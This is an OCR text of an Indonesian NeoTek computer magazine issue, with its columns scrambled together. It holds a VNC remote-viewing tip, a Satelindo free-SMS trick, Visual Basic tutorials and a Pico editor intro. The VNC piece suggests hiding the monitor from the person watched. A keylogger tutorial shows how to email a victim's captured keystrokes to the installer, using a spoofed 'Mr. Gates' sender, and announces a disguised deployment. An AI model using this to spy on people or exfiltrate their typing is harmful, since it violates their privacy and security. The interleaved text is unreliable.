Gambar 19. Kotak menampilkan layar komputer yang kita akses secara remote.
Dialog Default
Local System
Pada contoh gambar berikut ini ditampilkan sebuah kompu-
Properties ter yang bernama RAIHAN yang sedang memainkan lagu
MP3 Ulah Ceurik dengan WinAmp-nya.
Selain itu kita juga mengaktifkan program ini untuk meman-
tau komputer lainnya dari komputer yang kita akses secara
remote (mengaktifkan fasilitas akses remote dari komputer
yang kita akses secara remote pula).
Gambar 24.
Dengan mengaktifkan dan mengisi kotak dialog WinVNC: Menampilkan
Current User Properties dari sub menu Show User Proper- sebuah komputer
bernama RAIHAN
ties pada menu VNC Server. Isilah kotak Password sesuai sedang dipantau
keinginan Anda, yang nantinya akan menjadi kata sandi pada kegiatannya
saat kita menghubunginya. secara remote.
Gambar 20. Kotak
Dialog Current
User Properties.

Bila ingin memantau tanpa diketahui bahwa ada program


komputer pemantau di komputer yang kita akses cobalah
sembunyikan program tersebut. Caranya?
Silakan coba sendiri dan selamat mengutak-atiknya.

30 NeoTek Vol. IV No. 03


NeoTekno

K H U S U S M E NTAR I / MATR I X
Kirim SMS Bisa Gratis!
Wahyu Arinto Nugroho (arinto@yahoo.com) mengungkap fasilitas SMS gratis Satelindo, yang
mensyaratkan pendaftaran di sisi penerima SMS, bukan sisi pengirim SMS.

ahukah anda bahwa Satelindo Email sent to: Caranya ialah dengan membuka
T memberikan fasilitas SMS
gratis khusus untuk sesama
+628151234567@SATELINDOGSM.COM
Pesan di atas menunjukkan bahwa pesan
http://vcom.satelindogsm.com/filter/login.jsp
pemakai kartu Mentari dan Matrix? telah dikirimkan ke ponsel Arif. Pada ponsel
Layanan ini tidak banyak diketahui Arif, akan muncul contoh pesan sebagai
berikut:
orang dan untuk memanfaatkannya
perlu menggunakan ‘akal.’ FROM +628157654321@satelindogsm.com-
1516hrs,13/09/2003-Email from:
Persyaratan dan Mekanismenya +628157654321- SAYA SUDAH SAMPAI
DI BANDUNG
Untuk bisa menggunakan layanan ini:
• Anda dan orang yang akan menerima Kemana dan Cara Mendaftar
SMS dari Anda adalah pelanggan Sate-
lindo dan memiliki kartu GSM Untuk mendaftar buka:
Mentari/Matrix/SatelindoGSM http://vcom.satelindogsm.com/filter/register.jsp lalu masukkan nomor ponsel dan
• Anda dan orang yang akan menerima password. Jika Anda lupa password-
SMS dari Anda telah terdaftar sebagai
pengguna satelindomail. nya, mintalah password yang baru.
• Anda dan orang yang akan menerima Setelah login, klik , kemudian
SMS dari Anda telah mengisi filter email isikan pada salah
pada satelindogsm dengan tepat. satu dari 3 filter,
Perlu diketahui bahwa bagi pelanggan isikan dengan
Satelindo yang akan mengirim email
tidak perlu mendaftarkan diri terlebih @satelindogsm.com:
dahulu. Jadi sebenarnya pendaftaran Setelah itu, klik
ini berguna agar Anda dapat mene -
Selanjutnya Anda dapat melakukan
rima email alias SMS dari rekan Anda. Perlu diketahui bahwa setelah pendaf- pengujian dengan mencoba mengi-
SMS gratis ini legal (bukan merupa- taran berhasil, Anda akan menerima rimkan SMS gratis ke nomor ponsel
kan pelanggaran hukum), karena ha- SMS dari 777 berisi 6 digit password. Anda sendiri.
nya memanfaatkan fasilitas pengi- Contoh SMS yang akan diterima se- Untuk mengecek pulsa dengan cepat,
riman email satelindo yang memang telah mendaftar: dial ke *555#. Lalu kirim SMS ke 777
tidak dipungut biaya. Sang pengirim
Your password is 131503 dengan isi SMS sebagaimana yang
cukup mengirim SMS, selanjutnya di
telah dicontohkan. Setelah itu kem-
perjalanan, SMS tersebut diubah men- Password ini tidak perlu Anda simpan bali dial ke *555# untuk mengecek
jadi e-mail, kemudian dikonversi kem- dalam jangka waktu yang lama kare- pulsa, dan syukurilah bahwa pulsa
bali menjadi SMS kepada penerima. na hanya dipakai 1 kali. Anda belum berkurang.
Misalkan: Jika Anda lupa, pergilah ke
Pelanggan Satelindo bernama Heru (dengan http://202.152.162.251/filter/requestpw.jsp
Mengapa Harus Mendaftar?
nomor ponsel 08151234567) akan mengirim
SMS gratis kepada Arif. Perlu diketahui bahwa jika Anda ha-
nya ingin mengirim email, Anda ti-
Prinsip kerjanya adalah sebagai berikut: dak perlu mendaftarkan diri terlebih
(dengan asumsi bahwa Heru adalah pe-
langgan satelindo dan Arif telah memenuhi dahulu. Pendaftaran ini hanya ber-
semua persyaratan di atas, dan nomor guna agar Anda dapat menerima
ponsel Arif adalah 08157654321): email alias SMS dari rekan Anda.
Heru mengetikkan pesan : Agar Anda dapat mengirimkan SMS
Mail 08151234567@satelindogsm.com Saya gratis kepada rekan Anda, daftarkan
sudah sampai di Bandung rekan Anda, atau beritahukanlah ke-
Heru mengirimkan pesan tersebut ke 777 maka 777 akan memberikan password padanya untuk segera mendaftar.
yang baru
Jika semua berjalan normal, Heru akan Siapa yang Dapat Menerima SMS?
menerima pesan konfirmasi sebagaimana Bila Anda telah terdaftar (pernah men-
biasanya, bahwa 777 telah menerima pesan daftar sebelumnya), anda perlu meng- SMS yang Anda kirim hanya dapat
Anda atur filter email agar email yang re- diterima pada ponsel yang nomornya
Selanjutnya Heru akan menerima pesan kan Anda kirimkan ke alamat Anda telah terdaftar dan filter emailnya
konfirmasi kedua dari 777 sebagai berikut: dapat Anda terima. telah diatur dengan tepat.

Vol. IV No. 03 NeoTek 31


NeoTutor

S M T P U N T U K K E Y LO G G E R
Mampu Mengirim Attachment
Dewanata (m_strdewanata@yahoo.com) melanjutkan pembahasan mengenai keylogger dengan
keylogger yang mempunyai kemampuan mengirim email dengan attachment.
3. Content-Transfer-Encoding
A
RTIKEL INI ADALAH ARTIKEL KELIMA DARI SERANGKAIAN
artikel yang membahas pembuatan program keylog- Menjelaskan tipe enkoding yang digunakan. Seperti
ger. Pada artikel sebelumnya, telah dijelaskan menge- dijelaskan pada artikel sebelumnya, format data yang
nai pengiriman email via SMTP dan mekanisme otentikasi- didukung smtp adalah 7-bit US-ASCII karakter. Karena
nya [via ESMTP]. pada umumnya file yang dikirim mempunyai format 8-
bit atau data binari, data tersebut harus melewati proses
Pada artikel tersebut, juga telah dikembangkan satu SMTP enkoding terlebih dahulu. Tipe enkoding yang didukung
engine sebagai implementasi teori. Idenya, SMTP engine ini antara lain: 7bit, 8bit, binary, quoted-printable, dan base64.
akan ditempelkan ke keylogger sehingga hasil tangkapan dari
komputer si korban akan secara otomatis terkirim ke si pema- 4. Baris indikasi boundary.
sang via email. Untuk demo, pada artikel terdahulu penulis pesan. Sebelumnya, string yang dipakai sebagai
telah mengembangkan satu software MFC untuk mengirim- indikator harus didefinisikan terlebih dahulu di
kan email plus otentikasi, bernama MAILER. Content-Type header.
Untuk melengkapi pembahasan mengenai SMTP, pada artikel Contoh Implementasi
ini akan diterangkan mekanisme pengiriman file/attachment
via SMTP. Sebelumnya, banyak pembaca yang bertanya ke Untuk lebih jelas, ada baiknya kita langsung ke contoh. Pada
penulis, apa bedanya keylogger/trojan (+
+smtp engine) yang contoh di bawah, diskenariokan email yang akan dikirim
dibangun penulis dengan yang tersedia di Internet/market? mempunyai satu pesan teks singkat dan satu attachment
teks file bernama test.txt.
Memang, mungkin produk sejenis banyak tersedia di market,
tapi tujuan penulis di sini adalah untuk menerangkan konsep Isi pesan adalah sebagai berikut:
dasar dan teknik pemrogramannya, bukan hanya sekedar Data dikirim dari komputer dewanata jam 17:30, Dec 6 2003.
bagaimana menggunakan produk-produk tadi.
Isi file test.txt adalah sebagai berikut:
Attachment
ketikan ini adalah hasil tangkapan keylogger yang dikirimkan
Dewasa ini, email (smtp) adalah jenis produk Internet ter- secara otomatis via email, sebagai attachment.
sibuk kedua setelah web (http). Yang unik, konsep yang me-
latarbelakangi produk ini tidak banyak berubah sejak diper- Ini adalah badan/body email. Nomor baris adalah sekedar
kenalkannya RFC 821/822 di awal 80-an, era pesan teks. penjelas dan bukan bagian dari badan email.
Konsep attachment (kirim file binari via smtp) sebenarnya 00 Date: 1 Jan 2004 00:00:01
tidak diterangkan di RFC tersebut. Untuk itu, beberapa RFC 01 Subject: Hasil tangkapan
lainnya diperkenalkan untuk melengkapi kekurangan ini 02 To: m_strdewanata@yahoo.com
dan satu diantaranya adalah RFC 2045. 03 From: "Mr. Gates" <gates@microsoft.co.id>
RFC ini menerangkan secara rinci tata-cara pengiriman 04 MIME-Version: 1.0
muatan attachment di badan email dengan format yang di- 05 Content-Type: multipart/mixed;
sebut MIME (Multipurpose Internet Mail Extensions). Pe- 06 boundary= "**INI_BOUNDARY_DEWANATA**"
nulis tidak akan membahas format ini secara rinci, namun 07
jika Anda ingin mengetahui lebih detail silahkan buka 08 --**INI_BOUNDARY_DEWANATA**
http://www.faqs.org/rfcs/rfc2045.html. 09 Content-Type: text/plain; charset=US-ASCII
10
Apa Perbedaannya? 11 Data dikirim dari komputer Mr. Gates jam 17:30, Dec 6 2003
12
Perbedaan mendasar jika dibandingkan dengan artikel ter-
13 --**INI_BOUNDARY_DEWANATA**
dahulu terletak pada badan/body email (bagian DATA). Ter-
14 Content-Type: text/plain; charset=US-ASCII
dapat beberapa baris tambahan yang berguna untuk memi-
15 Content-Transfer-Encoding: 8bit
sahkan dan mendefinisikan masing-masing bagian: bagian
16 Content-Disposition: attachment; filename= "test.txt"
pesan (teks US-ASCII biasa atau formated text) dan bagian
17
attachment (yang bisa terdiri atas beberapa file). Baris-baris
18 ketikan ini adalah hasil tangkapan keylogger yang dikirimkan
tambahan tersebut adalah sebagai berikut:
secara
1. MIME-Version header 19 otomatis via email, sebagai attachment.
Adalah baris yang menginformasikan versi MIME yang 20
dipakai. 21 --**INI_BOUNDARY_DEWANATA**--
2. Content-Type header
Penjelasan masing-masing baris dapat Anda baca di Tabel 1
Menjelaskan tipe data yang terkandung di dalam satu berikut ini:
bagian.
32 NeoTek Vol. IV No. 03
NeoTutor

Tabel 1.
Baris Keterangan
0-3 Header email. Pada contoh ini, digunakan data fiktif
4 MIME version header
5 Content-Type header
6 Pendefinisian indikator boundary.
Pada kasus ini, string boundary adalah **INI_BOUNDARY_DEWANATA**
Anda bisa memilih apa saja sebagai string boundary
7 Baris kosong
8 Tanda boundary. Awal dari bagian pesan teks.
Perhatikan tanda -- di awal string.
9 Content-Type dari pesan teks
10 Baris kosong
11 Isi dari pesan teks
12 Baris kosong
13 Tanda boundary. Awal dari attachment. Catatan:
14 Content-Type attachment. Karena pesan kita adalah
15 Tipe enkoding. Digunakan 8bit, karena yang dikirim adalah file teks
Dewan External adalah alias dari
16 Penjelasan bahwa bagian ini adalah attachment. m_strdewanata@yahoo.com di komputer penulis.
17 Baris kosong Dan jika attachment test.txt dibuka akan terbaca seperti ini.
18-19 Isi dari file teks
20 Baris kosong
21 Tanda boundary. Perhatikan bahwa ada tanda -- di kedua sisi, yang berarti
akhir dari badan email.

Untuk baris 15, jika file yang dikirimkan adalah file binary,
misal: exe, doc, atau lainnya, maka idealnya gunakan tipe
enkoding base64. Isi file yang telah di-enkode, di-dump di
baris 18 sampai selesai.
Untuk implementasi, Anda bisa menggunakan program
MAILER yang diperkenalkan penulis pada artikel di edisi
terdahulu.
Rangkaian Artikel Keylogger
Artikel ini merupakan rangkaian artikel tentang
pembuatan keylogger yang sudah dan akan dimuat di
nomor-nomor NeoTek sebagai berikut:
C++ Workshop: Membuat Sendiri Keylogger
NeoTek III/8
Pengenalan konsep keylogger
Pembuatan kerangka utama program keylogger
Keylogger v. 2.0: Modifikasi srv32.exe dan srv32.dll
NeoTek III/12
Pencegahan dua instan keylogger aktif di memori, menggunakan mutex
Identifikasi program yang aktif ketika dilakukan pengetikan
Hasil Intersepsi Keylogger Dikirim Otomatis ke Pemasang
NeoTek IV/1
Konsep pengiriman SMTP
Pembuatan mesin SMTP untuk keylogger, menggunakan open relay SMTP
SMTP untuk Keylogger: Menggunakan Subscribed SMTP
NeoTek IV/2
Konsep otentikasi SMTP, menggunakan verb AUTH
Pembuatan mesin SMTP yang dilengkapi dengan otentikasi
Demo GUI MFC
Penjelasannya pada Tebel 2 berikut:
SMTP untuk Keylogger: Mampu Mengirim Attachment
Tabel 2. NeoTek IV/3
Konsep attachment pada email
Pembuatan mesin SMTP yang berkemampuan mengirimkan attachment
Field Keterangan
SMTP Server smtp server yang kita gunakan Akan Dimuat di Nomor-nomor Mendatang::
Port port number service smtp di server
Username username yang telah kita daftarkan sebelumnya Keylogger dengan Kemampuan Kamuflase
NeoTek IV/4
Password Password Finalisasi keylogger
MAIL FROM: si pengirim. hotpop mengharuskan sama dengan username Deployment menggunakan NSIS, kamuflase 'mirip Flash'.
RCPT TO: alamat email yang dituju
Content: terdiri atas header dan badan/body. Addendum untuk Keylogger: Format Base64
NeoTek IV/5
Isi header pada kasus ini adalah data fiktif.
Penjelasan mengenai format Base64
Bagian body dimulai dari baris 'MIME-Version: 1.0'. Pembuatan Base64 Encoder
Isi header dan body telah diterangkan sebelumnya.

Vol. IV No. 03 NeoTek 33


NeoTutor

VI S UAL BAS I C WO R KS H O P
Membuat Email Client Sendiri
Wawan Ridwan (iniemailwawan@telkom.net) kali ini membahas cara membuat email client
sendiri menggunakan Visual Basic dengan memanfaatkan DEVMAILER.DLL suatu component
object model dari Geocel yang bisa anda peroleh gratis.

EBELUM SAYA MENJELASKAN PROGRAM INI, TERLEBIH NamaPengirim. Sesuai dengan namanya, object ini
S dahulu anda akan saya ajak untuk mengkhayal.
Atau tepatnya menciptakan keadaan yang diada-
nantinya akan dipakai sebagai kolom yang harus diisi
dengan Nama Pengirim email pada saat program
adakan supaya ada. Kenapa harus diada-adakan? Karena dijalankan (Untuk memberi nama pada sebuah object
keadaan yang akan kita adakan dalam khayalan kita ini saya kira anda sudah tahu caranya, yakni melalui
tidak pernah atau jarang ada. Kenapa keadaan yang jarang jendela Properties pada kolom Name.
ada itu harus diada-adakan? Karena jika keadaan yang Object TextBox kedua kita namakan EmailPengirim.
diada-adakan itu tidak ada, maka saya tidak bisa menjelas- Object ini pun namanya kita sesuaikan dengan fungsi-
kan kegunaan program ini. nya yakni untuk memasukkan alamat email pengirim.
Begini khayalannya. Suatu ketika kita ingin berkirim Object TextBox ketiga adalah object text yang diguna-
email kepada teman kita, saudara kita, sejawat kita, atau kan untuk memasukkan alamat email penerima. Nama
kepada siapa pun yang kita inginkan. Tetapi alangkah object ini kita sesuaikan juga dengan fungsinya yaitu
kecewanya, karena program email client seperti milik kita EmailPenerima.
Outlook atau Eudora dsb. tidak mau berjalan sebagaimana
mestinya. Object TextBox keempat digunakan untuk
memasukkan SMTP server. Kita namakan saja object
Outlook ngambek, nggak mau mengirimkan email kita, TextBox ini SMTP_Server.
karena Outlook-nya hasil bajakan sejak diberlakukan
Undang-undang Hak Cipta. Eudora diem ajah karena Object TextBox yang kelima kita beri nama Judul.
kecapekan sudah terlalu sering dia jadi kurir email kita. Object ini digunakan untuk menuliskan subject email
Dalam keadaan yang mengada-ada ini apa yang harus kita kita.
lakukan? Apakah kita harus membatalkan rencana Object TextBox yang keenam digunakan untuk mema-
mengirim email kita? Apakah kita harus pasrah terhadap sukkan pesan atau isi email yang akan kita kirim. Atau
keadaan itu? dalam program email client lazim disebut Body. Apa
Pasrah? Tak u'-u' ya. Jangan pasrah terhadap keadaan nama untuk object yang satu ini ? Kita namakan Body
yang mengada-ada itu. Lupakan Outlook, lupakan Eudora. juga ? Terserah anda! Tapi karena saya sedang berbi-
Mari kita membuat sendiri program pengirim email kita. cara dengan orang Indonesia lebih baik kita namakan
Dengan Visual Basic. saja object ini dengan nama Pesan.

Salome2005 2. OptionButton
Saya memberi nama program yang akan kita buat ini Langkah berikutnya kita pasangkan dua buah object
dengan Salome2005. Saya sendiri tidak tahu kenapa pro- OptionButton. Kedua object ini berguna untuk
gram yang akan kita ciptakan ini saya namakan memilih tingkat proritas email yang akan kita kirim,
Salome2005. Low atau High. Silakan anda pasangkan kedua object
yang saya maksud dan beri nama untuk kedua object
Kalau anda suka, anda sendiri bisa menamakan program tersebut yang satu Low dan yang lainnya High. Anda
yang akan kita ciptakan ini sesuka hati anda, misalnya pun dipersilakan untuk memberi nilai default
Ketoprak69, KurirEmail2003, atau AuAh Elap atau apa properties Value salah satu object dengan True atau
saja, silakan. Program ini dirancang menggunakan Visual False.
Basic. Anda bisa menggunakan Visual Basic 6 atau 5.
Program ini berguna untuk mengirim email. Berikut ini 3. CommandButton
adalah langkah-langkah untuk membuat program ini. Menurut saya, jarang sekali program serius yang tidak
ada tombolnya. Tombol itu sangat bermanfaat lho, ter-
Perencanaan Interface dan Obyek utama untuk mengeksekusi perintah dalam kode-kode
Jalankan Visual Basic, kemudian buat Form baru dan program kita yang aksinya dipicu oleh user/pengguna.
namakan form tersebut dengan Salome atau terserah Saya bukan mau ikut-ikutan memasangkan tombol,
anda. Kemudian tempatkan beberapa komponen- jadi segeralah anda pasangkan satu buah object
komponen object berikut ini dalam form tadi: CommandButton dalam form kita tadi. Dan namakan
1. Text Box CommandButton tersebut dengan nama Kirim. Kenapa
object ini dinamakan Kirim? Karena object inilah yang
Dalam program pengirim email ini kita membutuhkan akan menjalankan perintah pengiriman email kita
object TextBox sebanyak 6 buah: nanti.
Object TextBox pertama kita beri nama
34 NeoTek Vol. IV No. 03
NeoTutor

Jika anda sudah melaksanakan tahapan-tahapan pembuat- Kenapa devmailer.dll?


an form dan object seperti dijelaskan di atas, maka seharus-
nya anda melihat bentuk form yang dibuat seperti Gambar 1. DEVMAILER.DLL
Devmailer.dll adalah sebuah Componen Object Model
(COM) yang didesain memiliki kemampuan untuk me-
ngirima email menggunakan SMTP eksternal. Perusahaan
yang membua object ini adalah Geocel
Anda bisa melihat penjelasan lebih lanjut mengenai object
ini di url ini http://www.geocel.com/devmailer/ atau anda
pun bisa melihat halaman web versi offline situs tersebut
yang disertakan dalam CD NeoTek bualn ini. Silakan buka
file HTML devmailer.htm.
Cara lain untuk melihat kemampuan object ini dalam
Visual Basic adalah dengan membuka Object Browser
dalam menu View. Lihat Gambar 3.

Gambar 1. Bentuk rancangan form pengirim email


Kok beda? Tadi dalam rancangan tombolnya hanya satu,
tapi dalam gambar ada empat. Tentu saja, karena langkah-
langkah pembuatan form yang saya sebutkan tadi hanya
menyangkut object-object yang penting saja. Ketiga tom-
bol yang terlihat dalam gambar yakni Udahan, About, dan
Help, adalah tombol-tombol yang tidak penting. Anda pun
dapat sesuka hati memasangkan banyak tombol yang tidak
berguna kalau memang menurut anda bisa mempercantik
tampilan program anda.
Sampai di sini, apakah program kita sudah selesai? Belum.
Program kita masih kosong, belum ada kode yang dapat di-
eksekusi untuk menjalankan program yang kita inginkan.
Jadi... jangan bengong
Segeralah klik menu Project, kemudian klik submenu Gambar No.3 Window Object Browser
References. Dalam kotak dialog References yang muncul
klik tombol Browse. Kotak dialog Add References akan
muncu lalu pilih file DVMAILER.DLL (Gambar 2). Anda Kembali ke rancangan program Visual Basic kita. Silakan
jangan bingung, karena file DVMAILER.DLL saya serta- anda double-click object tombol Kirim.
kan di sini. Anda bisa men-download-nya dari CD NeoTek Anda akan di bawa ke modus editor. Dalam modus editor
bulan ini. ini kita akan mulai memasukkan kode-kode program kita
yang dibantu dengan object DVMAILER.DLL yang sudah
kita sisipkan tadi.
Sisipkan kode berikut ini dalam modus editor.
Private Sub Kirim_Click()
Sukses = True
PesanError = ""
'Pemeriksaan kolom Nama Pengirim
If NamaPengirim.Text = "" Then
Sukses = False
PesanError = " Kolom Nama Pengirim harus diisi." & vbCrLf
End If

'Pemeriksaan kolom Email Pengirim


If InStr(1, EmailPengirim.Text, "@") = 0 Then
Sukses = False
PesanError = PesanError & " Kolom Email Pengirim harus diisi."
& vbCrLf
End If

'Pemeriksaan kolom Email Penerima


If InStr(1, EmailPenerima.Text, "@") = 0 Then
Sukses = False
PesanError = PesanError & " Kolom Email Penerima harus diisi."
Gambar 2. Memilih file object referensi & vbCrLf

Vol. IV No. 03 NeoTek 35


NeoTutor

End If

'Pemeriksaan kolom Judul/Subject Email


If Judul.Text = "" Then
Sukses = False
PesanError = PesanError & " Kolom Judul/Subject Email harus
diisi." & vbCrLf
End If

'Pemeriksaan kolom Body/Pesan Email


If Pesan.Text = "" Then
Sukses = False
PesanError = PesanError & " Kolom Body/Pesan Email harus
diisi." & vbCrLf
End If

If Sukses = False Then


NDA TENTU SUDAH MENGENAL NOTEPAD YAITU APLI-
MsgBox PesanError, vbCritical, "Salome2005"
Exit Sub
End If
A kasi teks editor yang Built-In di sistem operasi
Windows. Kali ini kita akan mencoba membuat
'----------------------------------------------------
program teks editor seperti Notepad, walaupun tidak
sesempurna seperti yang aslinya, anggap saja ini adalah
Set objEmail = CreateObject("Geocel.Mailer") salah satu latihan untuk kita dalam belajar menguasai
Visual Basic. Sebelumnya baca juga artikel sebelumnya
objEmail.AddServer SMTP_Server.Text, 25 yaitu pengenalan Visual Basic.
objEmail.FromName = NamaPengirim.Text
objEmail.FromAddress = EmailPengirim.Text Memulai Visual Basic
objEmail.AddRecipient EmailPenerima.Text, ""
Dimulai dari menu
objEmail.ContentType = "text/html" Start > Programs >
objEmail.Priority = Prioritas Microsoft Visual
objEmail.Charset = "ISO-8859-1" Studio 6.0 cari short-
objEmail.Subject = Judul.Text
cut Microsoft Visual
objEmail.Body = Pesan.Text & vbCrLf Basic 6.0. Akan mun-
cul kotak dialog
New Project, pilih
KirimSukses = objEmail.Send() Standard EXE ke-
PesanGagal = "Email gagal dikirim ke " & EmailPenerima.Text &
vbCrLf & "Hubungi dokter terdekat." & vbCrLf mudian klik Open
PesanSukses = "Email berhasil dikirim ke " & EmailPenerima.Text & proses memulai
vbCrLf Visual Basic.
If KirimSukses = False Then
If objEmail.Queued = False Then Membuat Interface Aplikasi
MsgBox PesanGagal, vbCritical, "Kirim Email Gagal!!"
Else Pertama-tama kita
MsgBox PesanGagal, vbCritical, "Kirim Email Gagal!!" membuat pull down
End If
Else
menu. Untuk mem-
MsgBox PesanSukses, vbInformation, "Kirim Email Sukses!!" buatnya kita perlu
End If mengaktifkan menu
End Sub editor. Pada form
object, klik kanan
Perhatikan, anda tidak perlu mengetikkan kode-kode yang mouse atau kom-
berhurup tebal, karena kode tersebut sudah secara otoma- binasi tombol key-
tis akan ditampilkan pada saat kita membuka Visual Basic board Ctrl+E untuk
dalam modus editor. Anda cukup mengetikkan kode-kode mengaktifkan menu
dengan huruf tipis saja. editor.
Anda mungkin merasa repot membaca tulisan saya ini, ya.
Jika memang anda tidak mau repot saya sarankan anda Pull Down Menu
untuk men-download source-code program ini yang di- File Edit Search Help
sediakan dalam CD NeoTek bulan ini.
Buat pull down menu
Program ini saya buat dengan Visual Basic 6.0. Anda pun seperti di atas dengan
bisa mencoba bermain-main dengan berbagai fungsi yang mengaktifkan menu
disediakan object devmiller.dll ini. editor. Setelah menu
Selamat mencoba! editor aktif, ketikkan
&File di kotak Caption
yang hasilnya adalah
File.
Di kotak Name ketik-
kan mnuFile. Lalu
Next untuk mem-
buat yang lain.

36 NeoTek Vol. IV No. 03


NeoTutor

VI S UAL BAS I C WO R KS H O P
Membuat Notepad Sendiri
MA Rody Candera (odyxb@melva.org) melanjutkan pembahasan pemrograman dengan
Visual Basic. Kali ini membahas cara membuat text editor sendiri yang
berpenampilan seperti Notepad.

Tiap-tiap pull down


menu mewakili be-
berapa item di da-
lamnya seperti un-
tuk File yaitu New,
Open, Save, dll.
Selesai membuat
pull down menu,
kita akan mem-
buat/menyisipkan
item-item di dal-
amnya dan kem-
bali mengaktifkan
menu editor.

Membuat Interface Aplikasi


TextBox
Selesai pull down menu, selanjutnya pasang textbox pada
form object dan atur propertiesnya sebagai berikut:
Font > Fixedsys
Left > 120
Multiline > True
Scrollbars > 3-both
Top > 120

Untuk menyisipkan item New diantara &File dan &Edit, sorot


&Edit lalu klik tombol Insert yang akan membentuk ruang
untuk penulisan item.
Kemudian klik tombol panah kanan, lalu pada bagian kotak
caption ketikkan &New dan pada kotak Name ketikkan
mnuFileNew, pada bagian shortcut pilih Ctrl+N.
Buat juga untuk item yang lain yaitu untuk &Edit, &Search,
dan &Help. Untuk membuat garis pemisah item-item, pada
bagian caption ketikkan tanda minus (--) dan pada Name
mnuBar. Jika garis pemisah item lebih dari satu berikan
penomoran untuk mnuBar, contoh: mnuBar1, mnuBar2, dst. Properties pada Text, kosongkan saja.

Vol. IV No. 03 NeoTek 37


NeoTutor

CommonDialog "SendMessageA" (ByVal hWnd As Long, ByVal wMsg As Long, ByVal


wParam As Long, lParam As Any) As Long
Selanjutnya pasang CommonDialog pada form object, jika
CommonDialog belum ada pada ToolBox dapat ada hadirkan Dim Nomer As Integer
dengan cara klik kanan mouse di daerah ToolBox lalu pilih Dim A As Byte
Dim B As Byte
Component. Dim ErrorLabel As Label
Pada list, beri tanda cek
pada Microsoft Common Pull Down Menu
Dialog Control 6.0 lalu Lalu menuliskan kode
klik Ok. untuk item-item yang
Maka ToolBox akan mun- terdapat pada pull down
cul CommonDialog dan menu, mulai dari Item
dapat anda pasang di New. Pada editor code,
form object. turunkan list nama Con-
trol, pilih mnuFileNew
Setelah diletakkan di maka kita akan dihadap-
form object, atur pro- kan kepada blok untuk
pertiesnya: penulisan kode item
Filter > File Teks (*.txt) | *.txt New. Tuliskan kodenya
sbb:

Menulis Kode B = MsgBox("Klik YES untuk menyimpan pekerjaan Anda terlebih


dahulu", vbQuestion + vbYesNo)
General Procedure If B = vbYes Then
CommonDialog1.DialogTitle = "Simpan File Teks"
Sampai disini, kita pada CommonDialog1.ShowSave
sudah mencapai tahap Else
menuliskan kode. Un- If B = vbNo Then
tuk menuliskan, klik End If
End If
View Code untuk me- Text1.Text = ""
nampilkan Code Editor.
Kita mulai menuliskan Setelah menuliskan ko-
kode untuk general de untuk Item New,
procedure-nya. Pada lalu menuliskan kode
editor code, turunkan untuk Item Open. Pada
list Name Control, lalu editor code, turunkan
list nama Control, lalu
pilih mnuFileOpen
maka kita akan diha-
dapkan kepada blok
untuk penulisan kode
item open.
pilih (General) maka
kita akan dihadapkan
kepada blok untuk pe-
nulisan kode general
procedur. Lalu tuliskan
kode-kode sbb:
Option Explicit

Private Const EM_UNDO = &HC7


Private Declare Function SendMessageLong Lib "user32" Alias
"SendMessageA" (ByVal hWnd As Long, ByVal wMsg As Long, ByVal
wParam As Long, ByVal lParam As Long) As Long
Private Declare Function SendMessage Lib "user32" Alias

38 NeoTek Vol. IV No. 03


NeoTutor

Tuliskan kodenya sbb: Meng-Compile


CommonDialog1.DialogTitle = "Buka File Teks" Kita sudah sampai ke bagian terakhir, yaitu meng-compile
CommonDialog1.ShowOpen aplikasi yang kita buat.
Nomer = FreeFile
If CommonDialog1.FileName = "" Then Exit Sub Klik File > Make Project1.exe
Open CommonDialog1.FileName For Input As Nomer
Text1.Text = Input(LOF(Nomer), Nomer)
Close Nomer
Form1.Caption = CommonDialog1.FileName
Exit Sub

Anda dapat meneruskan untuk menuliskan kode untuk


item-item lainnya. Kode-kode untuk yang lainnya dapat
anda lihat di CD yang disertai bersama majalah ini
Form Resize
Seperti yang kita keta-
hui, jika layar notepad
kita maximize-kan ma-
ka media tempat tulisan
akan mengikuti ukuran
layarnya.
Kita akan membuatnya
seperti itu juga.
Kembali ke editor code,
pada list nama Control
pilih Form. lalu muncul kotak dialog Make Project yang disini silakan
Kemudian pada list nama anda tentukan sendiri nama dari aplikasi tersebut. Setelah
Event pilih Resize. Ma- di-Compile maka aplikasi yang dibuat sudah selesai, dan
ka anda akan dihantar- anda jalankan aplikasi hasil compile yang sudah berubah
kan kepa blok kode un- menjadi file aplikasi.
tuk Form_resize.
Tuliskan kodenya
Menjalankan Aplikasi
seperti berikut:

Text1.Move 0, 0, ScaleWidth, ScaleHeight

Form Unload

Gambar diatas adalah hasil perkerjaan anda, lumayan lah


hasilnya.

List nama Control pilih Form dan List nama Event pilih
Unload. Lalu tuliskan kodenya:
A = MsgBox("Klik YES untuk menyimpan pekerjaan Anda sebelum
keluar", vbQuestion + vbYesNo)
If A = vbYes Then
CommonDialog1.DialogTitle = "Simpan File Teks"
CommonDialog1.ShowSave
Else
If A = vbNo Then
End
End If
End If

Vol. IV No. 03 NeoTek 39


NeoTutor

Kembali ke Dasar
Menguasai Teks Editor Pico
Untuk bisa membuat sendiri backdoor ataupun memodifikasi dan meng-compile
program dalam Linux, maka paling tidak anda sudah harus menguasai text editor

Namun sebelum kita mulai masuk ke program selebar-lebarnya (full-screen


P ICO ADALAH SALAH SATU DARI
beberapa program penyunting
teks (text editor) yang ada pada
dalam tahap pembahasan yang lebih
rinci tentang bagaimana cara menja-
tanpa terhalang oleh menu toolbar. Satu
hal yang membuat saya merasa lebih
sistem operasi UNIX (SCO UNIX, lankannya, dan apa-apa saja perintah- nyaman ketika menggunakan Pico.
Linux, FreeBSD, atau SunOS), yang nya, pastikan bahwa anda sudah me- Program-program emulasi terminal
dapat digunakan untuk melihat isi file, miliki akses (shell account) di salah di atas bisa anda peroleh gratis
menciptakan, dan melakukan perubah- satu komputer (server) tempat anda dengan mengklik alamat-alamat situs
an terhadap isi file. bisa menjalankan editor tersebut nan- berikut:
Jika dibandingkan dengan editor lain- tinya. Jika anda sama sekali belum
memiliki shell account, anda bisa · puTTy
nya seperti Vi (editor teks standard
UNIX) dan Emacs (GNU), Pico jauh memperolehnya gratis pada alamat- http://www.chiark.greenend.org.uk/~sgtatham/putty/

lebih baik, karena selain lebih praktis, alamat situs tersebut di bawah ini :
cara mengoperasikannya juga tidak · http://www.leftfoot.com/freeshells.html
terlalu rumit. Editor Pico tidak ada · http://www.ductape.net/~mitja/freeunix.shtml
· http://www.audiobraille.org/blinux/
ubahnya seperti program pengolah
· http://www.publiclinux.net
kata WordStar.
Proses pembuatan (registrasi) shell
· TinyTERM
Kegunaan Pico account hampir sama dengan cara http://www.midware.com/tterm.html
